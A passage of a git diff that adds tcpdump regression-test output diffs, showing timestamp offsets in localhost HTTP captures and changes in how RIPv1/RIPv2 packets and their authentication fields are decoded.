+> 22:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+7c7
+< 23:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+---
+> 22:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+10c10
+< 23:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+---
+> 22:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+12,19c12,18
+< M...M...GET / HTTP/1.1
+< Host: localhost
+< User-Agent: ELinks/0.10.4-7-debian (textmode; Linux 2.6.11-1-686-smp i686; 132x56-2)
+< Accept: */*
+< Accept-Encoding: gzip
+< Accept-Language: en
+< Connection: Keep-Alive
+< 
+---
+> M...M...GET / HTTP/1.1
+> Host: localhost
+> User-Agent: ELinks/0.10.4-7-debian (textmode; Linux 2.6.11-1-686-smp i686; 132x56-2)
+> Accept: */*
+> Accept-Encoding: gzip
+> Accept-Language: en
+> Connection: Keep-Alive
+21c20,21
+< 23:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+---
+> 
+> 22:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+24c24
+< 23:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+---
+> 22:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+26,36c26,36
+< M...M...HTTP/1.1 200 OK
+< Date: Wed, 06 Jul 2005 03:57:35 GMT
+< Server: Apache/1.3.33
+< Last-Modified: Sun, 15 Aug 2004 00:43:41 GMT
+< ETag: "6e80f0-148a-411eb1bd"
+< Accept-Ranges: bytes
+< Content-Length: 5258
+< Keep-Alive: timeout=15, max=100
+< Connection: Keep-Alive
+< Content-Type: text/html; charset=iso-8859-1
+< 
+---
+> M...M...HTTP/1.1 200 OK
+> Date: Wed, 06 Jul 2005 03:57:35 GMT
+> Server: Apache/1.3.33
+> Last-Modified: Sun, 15 Aug 2004 00:43:41 GMT
+> ETag: "6e80f0-148a-411eb1bd"
+> Accept-Ranges: bytes
+> Content-Length: 5258
+> Keep-Alive: timeout=15, max=100
+> Connection: Keep-Alive
+> Content-Type: text/html; charset=iso-8859-1
+> 
+182c182
+< 23:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+---
+> 22:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+185c185
+< 23:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+---
+> 22:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+188c188
+< 23:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+---
+> 22:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+191c191
+< 23:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+---
+> 22:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-AA.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-AA.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..78b2e3203a33d798dc09599dbe903173b8ad6c5c
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-AA.out.diff
@@ -0,0 +1,82 @@
+1c1
+< 23:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+---
+> 22:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+4c4
+< 23:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+---
+> 22:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+7c7
+< 23:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+---
+> 22:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+10c10
+< 23:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+---
+> 22:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+12,19c12,18
+< M...M...GET / HTTP/1.1
+< Host: localhost
+< User-Agent: ELinks/0.10.4-7-debian (textmode; Linux 2.6.11-1-686-smp i686; 132x56-2)
+< Accept: */*
+< Accept-Encoding: gzip
+< Accept-Language: en
+< Connection: Keep-Alive
+< 
+---
+> M...M...GET / HTTP/1.1
+> Host: localhost
+> User-Agent: ELinks/0.10.4-7-debian (textmode; Linux 2.6.11-1-686-smp i686; 132x56-2)
+> Accept: */*
+> Accept-Encoding: gzip
+> Accept-Language: en
+> Connection: Keep-Alive
+21c20,21
+< 23:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+---
+> 
+> 22:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+24c24
+< 23:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+---
+> 22:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+26,36c26,36
+< M...M...HTTP/1.1 200 OK
+< Date: Wed, 06 Jul 2005 03:57:35 GMT
+< Server: Apache/1.3.33
+< Last-Modified: Sun, 15 Aug 2004 00:43:41 GMT
+< ETag: "6e80f0-148a-411eb1bd"
+< Accept-Ranges: bytes
+< Content-Length: 5258
+< Keep-Alive: timeout=15, max=100
+< Connection: Keep-Alive
+< Content-Type: text/html; charset=iso-8859-1
+< 
+---
+> M...M...HTTP/1.1 200 OK
+> Date: Wed, 06 Jul 2005 03:57:35 GMT
+> Server: Apache/1.3.33
+> Last-Modified: Sun, 15 Aug 2004 00:43:41 GMT
+> ETag: "6e80f0-148a-411eb1bd"
+> Accept-Ranges: bytes
+> Content-Length: 5258
+> Keep-Alive: timeout=15, max=100
+> Connection: Keep-Alive
+> Content-Type: text/html; charset=iso-8859-1
+> 
+182c182
+< 23:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+---
+> 22:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+185c185
+< 23:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+---
+> 22:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+188c188
+< 23:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+---
+> 22:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+191c191
+< 23:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+---
+> 22:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-capX.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-capX.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..5c54fd93f850f5d8559ef5ab99b0562094225432
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-capX.out.diff
@@ -0,0 +1,40 @@
+1c1
+< 23:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+---
+> 22:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+6c6
+< 23:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+---
+> 22:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+11c11
+< 23:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+---
+> 22:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+16c16
+< 23:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+---
+> 22:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+33c33
+< 23:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+---
+> 22:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+38c38
+< 23:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+---
+> 22:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+390c390
+< 23:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+---
+> 22:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+395c395
+< 23:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+---
+> 22:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+400c400
+< 23:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+---
+> 22:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+405c405
+< 23:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+---
+> 22:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-capXX.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-capXX.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..6d2c72ed2fe16b0fbcbc94f6e26a8387f640866a
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-capXX.out.diff
@@ -0,0 +1,40 @@
+1c1
+< 23:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+---
+> 22:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+7c7
+< 23:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+---
+> 22:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+13c13
+< 23:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+---
+> 22:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+19c19
+< 23:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+---
+> 22:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+37c37
+< 23:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+---
+> 22:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+43c43
+< 23:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+---
+> 22:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+396c396
+< 23:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+---
+> 22:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+402c402
+< 23:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+---
+> 22:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+408c408
+< 23:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+---
+> 22:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+414c414
+< 23:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+---
+> 22:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-x.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-x.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..5c54fd93f850f5d8559ef5ab99b0562094225432
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-x.out.diff
@@ -0,0 +1,40 @@
+1c1
+< 23:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+---
+> 22:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+6c6
+< 23:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+---
+> 22:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+11c11
+< 23:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+---
+> 22:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+16c16
+< 23:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+---
+> 22:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+33c33
+< 23:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+---
+> 22:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+38c38
+< 23:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+---
+> 22:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+390c390
+< 23:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+---
+> 22:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+395c395
+< 23:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+---
+> 22:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+400c400
+< 23:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+---
+> 22:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+405c405
+< 23:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+---
+> 22:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-xx.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-xx.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..6d2c72ed2fe16b0fbcbc94f6e26a8387f640866a
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-xx.out.diff
@@ -0,0 +1,40 @@
+1c1
+< 23:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+---
+> 22:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+7c7
+< 23:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+---
+> 22:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+13c13
+< 23:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+---
+> 22:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+19c19
+< 23:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+---
+> 22:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+37c37
+< 23:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+---
+> 22:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+43c43
+< 23:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+---
+> 22:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+396c396
+< 23:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+---
+> 22:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+402c402
+< 23:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+---
+> 22:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+408c408
+< 23:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+---
+> 22:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+414c414
+< 23:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+---
+> 22:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/ripv1v2.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/ripv1v2.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..f3f1ef1d442d4609902e8d32e1280118c2567ced
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/ripv1v2.out.diff
@@ -0,0 +1,14 @@
+3c3,4
+< 	RIPv1, Request, length: 24
+---
+> 	RIPv1, Request, length: 24, routes: 1
+> 	  AFI 0, 0.0.0.0, metric: 16
+10c11,12
+< 	RIPv2, Request, length: 24
+---
+> 	RIPv2, Request, length: 24, routes: 1 or less
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+13c15
+< 	RIPv2, Response, length: 24, routes: 1
+---
+> 	RIPv2, Response, length: 24, routes: 1 or less
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/ripv2_auth.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/ripv2_auth.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..8e343d26f7149078bc85c9e9351007fe7b26684c
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/ripv2_auth.out.diff
@@ -0,0 +1,137 @@
+3c3,5
+< 	RIPv2, Request, length: 44
+---
+> 	RIPv2, Request, length: 44, routes: 2 or less
+> 	  Simple Text Authentication data: abcdefghijklmnop
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+6,7c8,9
+< 	RIPv2, Response, length: 44, routes: 2
+< 	  Simple Text Authentication data: abcdefghijklmno
+---
+> 	RIPv2, Response, length: 44, routes: 2 or less
+> 	  Simple Text Authentication data: abcdefghijklmnop
+11c13,17
+< 	RIPv2, Request, length: 64
+---
+> 	RIPv2, Request, length: 64, routes: 3 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 16, SeqNo 1339429688, MBZ 0, MBZ 0
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+> 	  Auth trailer:
+> 	  0x0000:  a2fe c865 f120 8808 2326 1369 d6c2 3593
+14,16c20,21
+< 	RIPv2, Response, length: 64, routes: 3
+< 	  Unknown (3) Authentication data:
+< 	  0x0000:  002c 2d10 4fd6 133c 0000 0000 0000 0000
+---
+> 	RIPv2, Response, length: 64, routes: 3 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 16, SeqNo 1339429692, MBZ 0, MBZ 0
+18c23
+< 	  Unknown (1) Authentication data:
+---
+> 	  Auth trailer:
+22c27,32
+< 	RIPv2, Request, length: 68
+---
+> 	RIPv2, Request, length: 68, routes: 3 or less
